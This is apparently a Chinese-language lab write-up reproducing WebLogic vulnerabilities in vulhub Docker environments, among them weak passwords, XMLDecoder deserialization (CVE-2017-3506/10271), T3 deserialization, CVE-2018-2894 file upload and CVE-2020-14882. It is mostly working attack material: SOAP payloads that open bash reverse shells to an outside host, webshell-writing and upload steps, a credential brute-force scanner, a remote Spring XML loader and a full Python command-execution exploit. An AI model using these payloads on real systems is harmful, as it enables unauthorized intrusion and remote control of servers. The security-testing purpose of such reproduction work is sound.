Weblogic漏洞复现 0x00 前言 本文将对一些常见的weblogic漏洞进行漏洞分析及复现,漏洞环境基于vulhub搭建,不分析原理,可以参考:https://mp.weixin.qq.com/s/KWZfA_JG3r0yAQCTlBkkBg
GitHub 下载 vulhub 项目。
环境:
0x01 弱口令
环境
weak_password
启动
docker-compose up -d
访问目标:
http://127.0.0.1:7001/console/
默认用户名、密码:
1 2 用户名:weblogic 密码:Oracle@123
0x02 getshell
环境
通用的全部版本
生成 war
包:
1 2 3 4 5 6 7 8 9 10 11 pwd shell ls tomcat_shell.jsp jar -cvf Login.war ./ ls Login.war tomcat_shell.jsp 或者: zip Login.war tomcat_shell.jsp ls Login.war tomcat_shell.jsp
登录后台后,点击左侧的部署:
点击安装
点击上传文件
选择Login.war
包,下一步
下一步
部署为应用程序,下一步
全部默认即可,点击完成
部署成功,使用蚁剑getshell
0x03 CVE-2017-3506 XMLDecoder反序列化漏洞(CVE-2017-3506)
环境
使用的weak_password
环境weblogic的版本为10.3.6,也存在这个漏洞,所以继续使用这个docker
漏洞原理
参考链接:https://mp.weixin.qq.com/s/KWZfA_JG3r0yAQCTlBkkBg
复现
访问以下目录中的一种,有回显如下图可以判断wls-wsat组件存在
1 2 3 4 5 6 7 8 /wls-wsat/CoordinatorPortType /wls-wsat/RegistrationPortTypeRPC /wls-wsat/ParticipantPortType /wls-wsat/RegistrationRequesterPortType /wls-wsat/CoordinatorPortType11 /wls-wsat/RegistrationPortTypeRPC11 /wls-wsat/ParticipantPortType11 /wls-wsat/RegistrationRequesterPortType11
在当前页面抓包:
POC:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 POST /wls-wsat/CoordinatorPortType HTTP/1.1 Host: 192.168.10.1:7001 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:59.0) Gecko/20100101 Firefox/59.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept-Encoding: gzip, deflate Connection: keep-alive Upgrade-Insecure-Requests: 1 Cache-Control: max-age=0 Content-Type: text/xml;charset=UTF-8 Content-Length: 1120 <soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"> <soapenv:Header> <work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/"> <java version="1.4.0" class="java.beans.XMLDecoder"> <void class="java.lang.ProcessBuilder"> <array class="java.lang.String" length="3"> <void index="0"> <string>/bin/bash</string> </void> <void index="1"> <string>-c</string> </void> <void index="2"> <string>bash -i >& /dev/tcp/192.168.10.1/4444 0>&1</string> </void> </array> <void method="start"/></void> </java> </work:WorkContext> </soapenv:Header> <soapenv:Body/> </soapenv:Envelope>
写马,马是蚁剑的不行,好像必须是冰蝎的:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 <soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"> <soapenv:Header> <work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/"> <java> <java version="1.6.0" class="java.beans.XMLDecoder"> <object class="java.io.PrintWriter"> <string>servers/AdminServer/tmp/_WL_internal/wls-wsat/54p17w/war/test.jsp</string><void method="println"> <string>bingxiema </string></void><void method="close"/> </object> </java> </java> </work:WorkContext> </soapenv:Header> <soapenv:Body/> </soapenv:Envelope>
因为不太懂 java
,所以直接上可以反弹 shell 的检测脚本和利用脚本:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 # !/usr/bin/env python # coding : utf-8 # Date : 2018-04-03 19:08:00 # Author : b4zinga # Email : b4zinga@outlook.com # Function: weblogic vuln import requests class WebLogic: def __init__(self, url): if '://' not in url: url = 'http://' + url self.url = url.strip('/') def xmlDecoder(self): """Version:10.3.6.0.0/12.1.3.0.0/12.2.1.1.0 CVE-2017-10271 """ headers = { "Content-Type":"text/xml;charset=UTF-8", "User-Agent":"Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_8; en-us) AppleWebKit/534.50 (KHTML, like Gecko) Version/5.1 Safari/534.50" } # <string>bash -i >& /dev/tcp/192.168.10.1/4444 0>&1</string> xml = """ <soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"> <soapenv:Header> <work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/"> <java version="1.4.0" class="java.beans.XMLDecoder"> <void class="java.lang.ProcessBuilder"> <array class="java.lang.String" length="3"> <void index="0"> <string>/bin/bash</string> </void> <void index="1"> <string>-c</string> </void> <void index="2"> <string>id > /tmp/b4</string> </void> </array> <void method="start"/></void> </java> </work:WorkContext> </soapenv:Header> <soapenv:Body/> </soapenv:Envelope>""" req = requests.post(self.url+":7001/wls-wsat/CoordinatorPortType", headers=headers, data=xml) if req.status_code == 500 : print('[+] WebLogic xml decoder ') # print(req.text) def weakPasswd(self): """weak password""" pwddict = ['WebLogic', 'weblogic', 'Oracle@123', 'password', 'system', 'Administrator', 'admin', 'security', 'joe', 'wlcsystem', 'wlpisystem'] for user in pwddict: for pwd in pwddict: data = { 'j_username':user, 'j_password':pwd, 'j_character_encoding':'UTF-8' } req = requests.post(self.url+':7001/console/j_security_check', data=data, allow_redirects=False, verify=False) if req.status_code == 302 and 'console' in req.text and 'LoginForm.jsp' not in req.text: print('[+] WebLogic username: '+user+' password: '+pwd) def ssrf(self): """Version: 10.0.2/10.3.6 CVE-2014-4210""" # payload = ":7001/uddiexplorer/SearchPublicRegistries.jsp?rdoSearch=name&txtSearchname=sdf&txtSearchkey=&txtSearchfor=&selfor=Business+location&btnSubmit=Search&operator=http://127.0.0.1:7001" payload = ":7001/uddiexplorer/SearchPublicRegistries.jsp?operator=http://localhost/robots.txt&rdoSearch=name&txtSearchname=sdf&txtSearchkey=&txtSearchfor=&selfor=Business+location&btnSubmit=Search" req = requests.get(self.url+payload, timeout=10, verify=False) if "weblogic.uddi.client.structures.exception.XML_SoapException" in req.text and "IO Exception on sendMessage" not in req.text: print("[+] WebLogic ssrf") if __name__ == '__main__': url = '192.168.10.1' wls = WebLogic(url) wls.xmlDecoder() wls.weakPasswd() wls.ssrf()
只需要将第 41 行的内容替换为第 26 行的内容,然后 nc -lvnp 4444
,运行exp,即可接收反弹的shell。
第一次运行脚本会提示用户名和密码,但是接下来一会都不会提示,因为用户的密码错误5次后,该账户就会被锁定。
0x04 CVE-2017-10271 XMLDecoder反序列化漏洞(CVE-2017-10271)
漏洞原理
在CVE-2017-3506之前,不对payload进行验证,使用object tag可以RCE,CVE-2017-3506的补丁在weblogic/wsee/workarea/WorkContextXmlInputAdapter.java
中添加了validate方法,在解析xml时,Element字段出现object tag就抛出运行时异常,不过这次防护力度不够,导致了CVE-2017-10271,利用方式类似,使用了void tag进行RCE,于是CVE-2017-10271的补丁将object、new、method关键字加入黑名单,针对void和array这两个元素是有选择性的抛异常,其中当解析到void元素后,还会进一步解析该元素中的属性名,若没有匹配上index关键字才会抛出异常。而针对array元素而言,在解析到该元素属性名匹配class关键字的前提下,还会解析该属性值,若没有匹配上byte关键字,才会抛出运行时异常。总之,这次的补丁基本上限定了不能生成java实例。
漏洞复现
上面复现 CVE-2017-10271 的过程中,用到的脚本实际上是针对 10271 的,所以遇到了直接反弹shell即可。
0x05 CVE-2019-2725 wls-wsat反序列化漏洞(CVE-2019-2725)。攻击者可以发送精心构造的恶意HTTP请求,在未授权的情况下远程执行命令
漏洞原理
漏洞触发点:bea_wls9_async_response.war、wsat.war
影响版本:Oracle WebLogic Server 10.* 、Oracle WebLogic Server 12.1.3
通过CVE-2019-2725补丁分析发现,较上一个漏洞CVE-2017-10271补丁而言,官方新增了对class元素的过滤,并且array元素的length属性转换为整形后不得大于10000:
本次漏洞利用某个元素成功替换了补丁所限制的元素,再次绕过了补丁黑名单策略,最终造成远程命令执行。
环境搭建
1 2 3 docker pull ismaleiva90/weblogic12 docker run -d -p 7001:7001 -p 7002:7002 -p 5556:5556 ismaleiva90/weblogic12:latest
1 2 3 4 5 http://localhost:7001/console User: weblogic Pass: welcome1
漏洞复现
访问以下目录中的一种,如下图所示则漏洞
1 2 3 4 5 6 /_async/AsyncResponseService /_async/AsyncResponseServiceJms /_async/AsyncResponseServiceHttps /_async/AsyncResponseServiceSoap12 /_async/AsyncResponseServiceSoap12Jms /_async/AsyncResponseServiceSoap12Https
没有复现成功,只成功利用了 exp:
exp地址:https://github.com/TopScrew/CVE-2019-2725
0x06 CVE-2018-2628 WebLogic T3协议反序列化命令执行漏洞(CVE-2018-2628)。Oracle WebLogic Server的T3通讯协议的实现中存在反序列化漏洞。远程攻击者通过T3协议在Weblogic Server中执行反序列化操作,利用RMI(远程方法调用) 机制的缺陷,通过 JRMP 协议(Java远程方法协议)达到执行任意反序列化代码,进而造成远程代码执行
同为WebLogic T3引起的反序列化漏洞还有CVE-2015-4852、CVE-2016-0638、CVE-2016-3510、CVE-2017-3248、CVE-2018-2893、CVE-2016-0638
漏洞原理
在InboundMsgAbbrev中resolveProxyClass中,resolveProxyClass是处理rmi接口类型的,只判断了java.rmi.registry.Registry,这就会导致任意一个rmi接口都可绕过。核心部分就是JRMP(Java Remote Method protocol),在这个PoC中会序列化一个RemoteObjectInvocationHandler,它会利用UnicastRef建立到远端的tcp连接获取RMI registry,加载回来再利用readObject解析,从而造成反序列化远程代码执行。
漏洞复现
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 #!/usr/bin/env python # -*- coding: utf-8 -*- print r''' https://github.com/jas502n/CVE-2018-2628 @author Jas502n ''' import base64 import urllib import requests from urllib import * def shell(url,cmd): all_url = url + "?tom=" + base64.b64encode(cmd) try: result = requests.get(all_url) if result.status_code == 200: print result.content except requests.ConnectionError,e: print e th = {"url":""} while True: if th.get("url") != "": input_cmd = raw_input("cmd >>: ") if input_cmd == "exit": exit() elif input_cmd == 'set': url = raw_input("set shell :") th['url'] = url elif input_cmd == 'show url': print th.get("url") else: shell(th.get("url"),input_cmd) else: url = raw_input("set shell :") th["url"] = url
项目地址:
https://github.com/0xMJ/CVE-2018-2628/
可能是在 Linux 的关系,没有成功。
0x07 CVE-2018-2894 WebLogic 未授权访问漏洞(CVE-2018-2894),存在两个未授权的页面,可以上传任意文件,但是这两个页面只在开发环境下存在
漏洞复现
这里我们首先打开docker的开发环境。这里因为不是弱口令的docker,所以这里我们执行命令看一下进入后台的密码
1 docker-compose logs | grep password
使用账号密码登录后台
点击 base_domain
点击 高级
选项
勾选 启动 web 服务测试页
,保存即可进入开发环境
开发环境下的测试页有两个,分别为config.do
和begin.do
config.do
首先进入config.do
文件进行设置,将目录设置为ws_utc
应用的静态文件css目录,访问这个目录是无需权限的,这一点很重要。
http://127.0.0.1:7001/ws_utc/config.do
将下面的内容替换掉下图的 当前的工作目录
的内容
1 /u01/oracle/user_projects/domains/base_domain/servers/AdminServer/tmp/_WL_internal/com.oracle.webservices.wls.ws-testclient-app-wls/4mcj4y/war/css
点击 安全
,点击 Add
,上传一个 jsp 马,提交。
提交后,点击 F12
,审查元素,查看上传后的时间戳
构造得到http://127.0.0.1:7001/ws_utc/css/config/keystore/1634611019115_shell.jsp,连接即可
begin.do
打开 F12
,点击 网络
,上传一个 jsp 马
会提示出错,但不需要理会,在网络
中找到一个 POST 包,里面有上传的 shell 地址
构造得到
http://127.0.0.1:7001/ws_utc/css/upload/RS_Upload_2021-10-19_04-01-03_731/import_file_name_shell.jsp
蚁剑连接成功
0x08 CVE-2020-14882 远程攻击者可以构造特殊的HTTP
请求,在未经身份验证的情况下接管 WebLogic Server Console
,并执行任意代码。
影响版本
10.3.6.0.0
12.1.3.0.0
12.2.1.3.0
12.2.1.4.0
14.1.1.0.0
漏洞详情
https://cert.360.cn/report/detail?id=a95c049c576af8d0e56ae14fad6813f4
漏洞复现
进入后台登录界面,直接构造
1 http://127.0.0.1:7001/console/images/%252E%252E%252Fconsole.portal?_nfpb=true&_pageLabel=AppDeploymentsControlPage&handle=com.bea.console.handles.JMXHandle%28%22com.bea%3AName%3Dbase_domain%2CType%3DDomain%22%29
即可访问后台,达到未授权的效果。
但是这里没有部署安装的按钮,也就是说不能像常规进入后台后写shell进去,这里就需要用到远程加载XML文件拿shell
首先测试以下漏洞代码执行是否成功,在/tmp/下创建一个test文件夹
访问
1 http://127.0.0.1:7001/console/images/%252E%252E%252Fconsole.portal?_nfpb=true&_pageLabel=HomePage1&handle=com.tangosol.coherence.mvel2.sh.ShellSession(%22java.lang.Runtime.getRuntime().exec(%27touch /tmp/test%27);%22);
得到如下界面,这里看起来没有利用成功
我们进入docker查看发现文件夹已经创建成功了
1 2 docker ps docker exec -it b6a1b6c3e4d1 /bin/bash
kali 创建一个xml文件,还是使用bash命令得到反弹shell
1 2 3 4 5 6 7 8 9 10 11 12 # reverse-bash.xml <beans xmlns="http://www.springframework.org/schema/beans" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd"> <bean id="pb" class="java.lang.ProcessBuilder" init-method="start"> <constructor-arg> <list> <value>/bin/bash</value> <value>-c</value> <value><![CDATA[bash -i >& /dev/tcp/192.168.10.1/5555 0>&1]]></value> </list> </constructor-arg> </bean> </beans>
python 起一个 http 服务
1 python3 -m http.server 8000
nc开启监听端口
访问
1 http://127.0.0.1:7001/console/images/%252E%252E%252Fconsole.portal?_nfpb=true&_pageLabel=HomePage1&handle=com.bea.core.repackaged.springframework.context.support.ClassPathXmlApplicationContext("http://192.168.10.1:8000/test.xml")
让它下载 vps 上的反弹shell,即可得到反弹shell。
但是没有成功,原因未知。。。
尝试利用 exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 import re import sys import requests #下面这三行代码是为了解决requests的一个bug,就是Connection broken: IncompleteRead #其实真正的原因我到现在也不清楚,但是下面这三行代码确实可以解决问题 #参考https://my.oschina.net/u/1538135/blog/858467 #python3.x中的httplib变成了http.client需要修改一下 import http.client http.client.HTTPConnection._http_vsn = 10 http.client.HTTPConnection._http_vsn_str = 'HTTP/1.0' if len(sys.argv) <3: print('用法:python exp.py http(s):target-ip:target-port command') sys.exit() baseurl = sys.argv[1] #去掉url最后面的/ if baseurl[-1]=='/': baseurl = baseurl[0:-1] #命令中包含空格的情况 cmd = sys.argv[2] if len(sys.argv) > 3: i = 3 while i < len(sys.argv): #在linux中可以使用${IFS}代替空格 #windows的话部分命令可以使用=替代空格,大家可以自行修改脚本 cmd += ' ' cmd += sys.argv[i] i += 1 #调试的时候使用burp代理抓包,便于发现脚本的问题 proxy = {"http": "http://127.0.0.1:8080"} res = baseurl + "/console/css/%252e%252e%252fconsole.portal" #设置不跟随302重定向,不然会获取不到cookie #response = requests.get(res, proxies=proxy,allow_redirects=False) response = requests.get(res, allow_redirects=False) cookie_raw = response.headers['Set-Cookie'] matchObj = re.match( r'(.*); path=/.*?', cookie_raw, re.M|re.I) if matchObj: cookie = matchObj.group(1) #print(cookie) else: print('未获取到cookie!') sys.exit(); #获取到cookie之后,发送第二个请求,用于执行命令 #注意 useDelimiter("\\A") 这个地方的两个\,需要再次转义,不然python会把其中一个作为 #转义符处理,导致真正发送的请求中只包含一个\ res = baseurl + """/console/css/%25%32%65%25%32%65%25%32%66consolejndi.portal?test_handle=com.tangosol.coherence.mvel2.sh.ShellSession('weblogic.work.ExecuteThread currentThread = (weblogic.work.ExecuteThread)Thread.currentThread(); weblogic.work.WorkAdapter adapter = currentThread.getCurrentWork(); java.lang.reflect.Field field = adapter.getClass().getDeclaredField("connectionHandler");field.setAccessible(true);Object obj = field.get(adapter);weblogic.servlet.internal.ServletRequestImpl req = (weblogic.servlet.internal.ServletRequestImpl)obj.getClass().getMethod("getServletRequest").invoke(obj); String cmd = req.getHeader("cmd");String[] cmds = System.getProperty("os.name").toLowerCase().contains("window") ? new String[]{"cmd.exe", "/c", cmd} : new String[]{"/bin/sh", "-c", cmd};if(cmd != null ){ String result = new java.util.Scanner(new java.lang.ProcessBuilder(cmds).start().getInputStream()).useDelimiter("\\\\A").next(); weblogic.servlet.internal.ServletResponseImpl res = (weblogic.servlet.internal.ServletResponseImpl)req.getClass().getMethod("getResponse").invoke(req);res.getServletOutputStream().writeStream(new weblogic.xml.util.StringInputStream(result));res.getServletOutputStream().flush();} currentThread.interrupt();')""" headers = {"cookie":cookie, "cmd":cmd} #response = requests.get(res, headers=headers, proxies=proxy, allow_redirects=False) response = requests.get(res, headers=headers, allow_redirects=False) print(response.text)